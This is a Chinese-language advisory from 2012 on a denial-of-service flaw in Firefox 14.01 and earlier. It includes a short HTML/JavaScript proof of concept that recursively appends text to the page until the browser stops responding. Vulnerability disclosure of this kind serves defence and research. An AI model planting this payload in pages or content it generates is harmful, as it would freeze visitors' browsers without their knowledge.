发布日期:2012-08-17
更新日期:2012-08-22受影响系统:
Mozilla Firefox <= 14.01
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 55091Firefox是一款非常流行的开源WEB浏览器。Mozilla Firefox 14.01及之前版本在实现上存在远程拒绝服务漏洞,攻击者可利用此漏洞使受影响计算机停止响应。<*来源:Jean Pascal Pereira
*>测试方法:
--------------------------------------------------------------------------------警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!Jean Pascal Pereira ()提供了如下测试方法:<html>
<head>
<title></title>
</head>
<body></body>
<script>
function e(x)
{
document.body.innerHTML += x;
e(x + "x");
};e("x")
</script>
</html>建议:
--------------------------------------------------------------------------------
厂商补丁:Mozilla
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:http://www.mozilla.org/security/IBM Lotus Domino HTTP响应分离和跨站脚本执行漏洞Adobe Flash Player和AIR多个远程漏洞(APSB12-19)相关资讯 Firefox漏洞 Firefox安全漏洞
- Mozilla Firefox地址栏欺骗安全漏 (今 06:37)
- Mozilla Firefox NSS 拒绝服务漏洞 (06月14日)
- Mozilla Firefox 安全限制绕过漏洞 (06月14日)
| - Mozilla Firefox CSP跨站脚本漏洞 (06月14日)
- Mozilla Firefox 信息泄露漏洞 ( (06月14日)
- 多个最流行 Firefox扩展包含了可利 (04月06日)
|
本文评论 查看全部评论 (0)